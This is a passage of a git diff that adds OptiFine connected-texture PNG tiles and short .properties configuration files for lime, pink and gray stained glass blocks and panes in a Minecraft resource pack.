b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/36.png new file mode 100644 index 00000000..cf228f54 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/37.png new file mode 100644 index 00000000..42568656 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/38.png new file mode 100644 index 00000000..3b23cb59 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/39.png new file mode 100644 index 00000000..c29337ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/4.png new file mode 100644 index 00000000..045109c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/40.png new file mode 100644 index 00000000..0f33f4d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/41.png new file mode 100644 index 00000000..b4887a32 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/42.png new file mode 100644 index 00000000..797aaa1d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/43.png new file mode 100644 index 00000000..9817194c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/44.png new file mode 100644 index 00000000..8e3eba1f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/45.png new file mode 100644 index 00000000..b7454e1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/46.png new file mode 100644 index 00000000..f5786455 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/5.png new file mode 100644 index 00000000..ba16e32a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/6.png new file mode 100644 index 00000000..d2e9aded Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/7.png new file mode 100644 index 00000000..9f26f1b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/8.png new file mode 100644 index 00000000..6e44ca17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/9.png new file mode 100644 index 00000000..3a61657b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_lime.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_lime.properties new file mode 100644 index 00000000..032ea3bf --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_lime.properties @@ -0,0 +1,5 @@ +# Stained glass lime +matchBlocks=lime_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_pane_lime.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_pane_lime.properties new file mode 100644 index 00000000..d3439352 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/glass_pane_lime.properties @@ -0,0 +1,6 @@ +# Stained glass pane lime +matchBlocks=lime_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/0.png new file mode 100644 index 00000000..42d8739d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/1.png new file mode 100644 index 00000000..7744913f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/10.png new file mode 100644 index 00000000..a87f362c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/11.png new file mode 100644 index 00000000..9f572a8e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/12.png new file mode 100644 index 00000000..9cc8ef9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/13.png new file mode 100644 index 00000000..947f4ac0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/14.png new file mode 100644 index 00000000..fea9bca9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/15.png new file mode 100644 index 00000000..fd0ee452 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/16.png new file mode 100644 index 00000000..378e5efe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/17.png new file mode 100644 index 00000000..557d38d1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/18.png new file mode 100644 index 00000000..a9f4eb0c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/19.png new file mode 100644 index 00000000..6b74afcb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/2.png new file mode 100644 index 00000000..50ef16b0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/20.png new file mode 100644 index 00000000..d6bb6434 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/21.png new file mode 100644 index 00000000..be3c1a27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/22.png new file mode 100644 index 00000000..7f87f517 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/23.png new file mode 100644 index 00000000..ac497a7b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/24.png new file mode 100644 index 00000000..2bb9b0d0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/25.png new file mode 100644 index 00000000..88a776dc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/26.png new file mode 100644 index 00000000..35c3098f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/27.png new file mode 100644 index 00000000..0ad4c4e6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/28.png new file mode 100644 index 00000000..1360eea1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/29.png new file mode 100644 index 00000000..3ba09fc3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/3.png new file mode 100644 index 00000000..078a36af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/30.png new file mode 100644 index 00000000..734a7cfa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/31.png new file mode 100644 index 00000000..fd3329f0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/32.png new file mode 100644 index 00000000..2c41cc1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/33.png new file mode 100644 index 00000000..113d0c27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/34.png new file mode 100644 index 00000000..c1ab1103 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/35.png new file mode 100644 index 00000000..600cfe2d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/36.png new file mode 100644 index 00000000..80182e50 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/37.png new file mode 100644 index 00000000..f655fb95 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/38.png new file mode 100644 index 00000000..23141561 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/39.png new file mode 100644 index 00000000..bfda4f28 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/4.png new file mode 100644 index 00000000..02d6d030 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/40.png new file mode 100644 index 00000000..3e167679 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/41.png new file mode 100644 index 00000000..37c84eca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/42.png new file mode 100644 index 00000000..c971dfcb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/43.png new file mode 100644 index 00000000..c0f4df80 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/44.png new file mode 100644 index 00000000..16374c39 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/45.png new file mode 100644 index 00000000..68155bad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/46.png new file mode 100644 index 00000000..016889e3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/5.png new file mode 100644 index 00000000..b94667c7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/6.png new file mode 100644 index 00000000..5b0cb15e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/7.png new file mode 100644 index 00000000..4e3885e3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/8.png new file mode 100644 index 00000000..a2c6f48a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/9.png new file mode 100644 index 00000000..0051d1d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pane_pink.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pane_pink.properties new file mode 100644 index 00000000..641e42d0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pane_pink.properties @@ -0,0 +1,6 @@ +# Stained glass pane pink +matchBlocks=pink_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pink.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pink.properties new file mode 100644 index 00000000..0c5c1f32 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/06_glass_pink/glass_pink.properties @@ -0,0 +1,5 @@ +# Stained glass pink +matchBlocks=pink_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/0.png new file mode 100644 index 00000000..3f07a5d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/1.png new file mode 100644 index 00000000..64fffa3e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/10.png new file mode 100644 index 00000000..b0c0d27a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/11.png new file mode 100644 index 00000000..112c6ce9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/12.png new file mode 100644 index 00000000..5a5d27fd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/13.png new file mode 100644 index 00000000..9479f0e4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/14.png new file mode 100644 index 00000000..d5f2a667 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/15.png new file mode 100644 index 00000000..5c6b9e17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/16.png new file mode 100644 index 00000000..e4ffc2f1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/17.png new file mode 100644 index 00000000..14cc29c4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/18.png new file mode 100644 index 00000000..3b41dac0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/19.png new file mode 100644 index 00000000..58a5125b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/2.png new file mode 100644 index 00000000..131366fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/20.png new file mode 100644 index 00000000..e1a40304 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/21.png new file mode 100644 index 00000000..736d80c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/22.png new file mode 100644 index 00000000..b2b0aa83 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/23.png new file mode 100644 index 00000000..87549c4e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/24.png new file mode 100644 index 00000000..09c3d65b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/25.png new file mode 100644 index 00000000..fa44bdb8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/26.png new file mode 100644 index 00000000..542b9f92 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/27.png new file mode 100644 index 00000000..5b157bd4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/28.png new file mode 100644 index 00000000..6d485e9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/29.png new file mode 100644 index 00000000..1b5d8ec4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/3.png new file mode 100644 index 00000000..f37a2c8c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/30.png new file mode 100644 index 00000000..a0fe8a15 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/31.png new file mode 100644 index 00000000..92091b88 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/32.png new file mode 100644 index 00000000..5172ef31 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/33.png new file mode 100644 index 00000000..a281ced0 Binary 